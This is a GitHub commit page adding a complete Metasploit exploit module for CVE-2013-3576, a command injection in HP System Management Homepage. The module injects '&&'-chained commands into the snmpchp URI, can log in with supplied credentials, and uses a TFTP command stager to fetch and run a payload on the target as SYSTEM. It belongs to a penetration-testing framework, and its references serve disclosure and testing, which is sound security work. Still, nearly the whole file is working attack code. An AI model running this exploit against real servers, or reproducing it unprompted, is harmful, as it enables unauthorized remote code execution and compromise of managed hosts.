Skip to content

Commit 526b82e

Browse files
author
jvazquez-r7
committed
Land rapid7#1992, @wchen-r7's exploit for HP System Management Hompage
2 parents df27e3e + 8dfe9b5 commit 526b82e

File tree

1 file changed

+178
-0
lines changed

1 file changed

+178
-0
lines changed
Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::CmdStagerTFTP
14+
include Msf::Exploit::Remote::HttpClient
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "HP System Management Homepage JustGetSNMPQueue Command Injection",
19+
'Description' => %q{
20+
This module exploits a vulnerability found in HP System Management Homepage. By
21+
supplying a specially crafted HTTP request, it is possible to control the
22+
'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc),
23+
which will be used in a exec() function. This results in arbitrary code execution
24+
under the context of SYSTEM. Please note: In order for the exploit to work, the
25+
victim must enable the 'tftp' command, which is the case by default for systems
26+
such as Windows XP, 2003, etc.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' =>
30+
[
31+
'Markus Wulftange',
32+
'sinn3r' #Metasploit
33+
],
34+
'References' =>
35+
[
36+
['CVE', '2013-3576'],
37+
['OSVDB', '94191'],
38+
['US-CERT-VU', '735364']
39+
],
40+
'Payload' =>
41+
{
42+
'BadChars' => "\x00"
43+
},
44+
'DefaultOptions' =>
45+
{
46+
'SSL' => true
47+
},
48+
'Platform' => 'win',
49+
'Targets' =>
50+
[
51+
['Windows', {}],
52+
],
53+
'Privileged' => false,
54+
'DisclosureDate' => "Jun 11 2013",
55+
'DefaultTarget' => 0))
56+
57+
register_options(
58+
[
59+
Opt::RPORT(2381),
60+
# USERNAME/PASS may not be necessary, because the anonymous access is possible
61+
OptString.new("USERNAME", [false, 'The username to authenticate as']),
62+
OptString.new("PASSWORD", [false, 'The password to authenticate with'])
63+
], self.class)
64+
end
65+
66+
67+
def peer
68+
"#{rhost}:#{rport}"
69+
end
70+
71+
72+
def check
73+
cookie = ''
74+
75+
if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty?
76+
cookie = login
77+
if cookie.empty?
78+
print_error("#{peer} - Login failed")
79+
return Exploit::CheckCode::Safe
80+
else
81+
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
82+
end
83+
end
84+
85+
sig = Rex::Text.rand_text_alpha(10)
86+
cmd = Rex::Text.uri_encode("echo #{sig}")
87+
uri = normalize_uri("smhutil", "snmpchp/") + "&&#{cmd}&&echo"
88+
89+
req_opts = {}
90+
req_opts['uri'] = uri
91+
if not cookie.empty?
92+
browser_chk = 'HPSMH-browser-check=done for this session'
93+
curl_loc = "curlocation-#{datastore['USERNAME']}="
94+
req_opts['cookie'] = "#{cookie}; #{browser_chk}; #{curl_loc}"
95+
end
96+
97+
res = send_request_raw(req_opts)
98+
if not res
99+
print_error("#{peer} - Connection timed out")
100+
return Exploit::CheckCode::Unknown
101+
end
102+
103+
if res.body =~ /SNMP data engine output/ and res.body =~ /#{sig}/
104+
return Exploit::CheckCode::Vulnerable
105+
end
106+
107+
Exploit::CheckCode::Safe
108+
end
109+
110+
111+
def login
112+
username = datastore['USERNAME']
113+
password = datastore['PASSWORD']
114+
115+
cookie = ''
116+
117+
res = send_request_cgi({
118+
'method' => 'POST',
119+
'uri' => '/proxy/ssllogin',
120+
'vars_post' => {
121+
'redirecturl' => '',
122+
'redirectquerystring' => '',
123+
'user' => username,
124+
'password' => password
125+
}
126+
})
127+
128+
if not res
129+
fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out during login")
130+
end
131+
132+
# CpqElm-Login: success
133+
if res.headers['CpqElm-Login'].to_s =~ /success/
134+
cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
135+
end
136+
137+
cookie
138+
end
139+
140+
141+
def setup_stager
142+
execute_cmdstager({ :temp => '.'})
143+
end
144+
145+
146+
def execute_command(cmd, opts={})
147+
# Payload will be: C:\hp\hpsmh\data\htdocs\smhutil
148+
uri = Rex::Text.uri_encode("#{@uri}#{cmd}&&echo")
149+
150+
req_opts = {}
151+
req_opts['uri'] = uri
152+
if not @cookie.empty?
153+
browser_chk = 'HPSMH-browser-check=done for this session'
154+
curl_loc = "curlocation-#{datastore['USERNAME']}="
155+
req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}"
156+
end
157+
158+
print_status("#{peer} - Executing: #{cmd}")
159+
res = send_request_raw(req_opts)
160+
end
161+
162+
163+
def exploit
164+
@cookie = ''
165+
166+
if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty?
167+
@cookie = login
168+
if @cookie.empty?
169+
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed")
170+
else
171+
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
172+
end
173+
end
174+
175+
@uri = normalize_uri('smhutil', 'snmpchp/') + "&&"
176+
setup_stager
177+
end
178+
end

0 commit comments

Comments
 (0)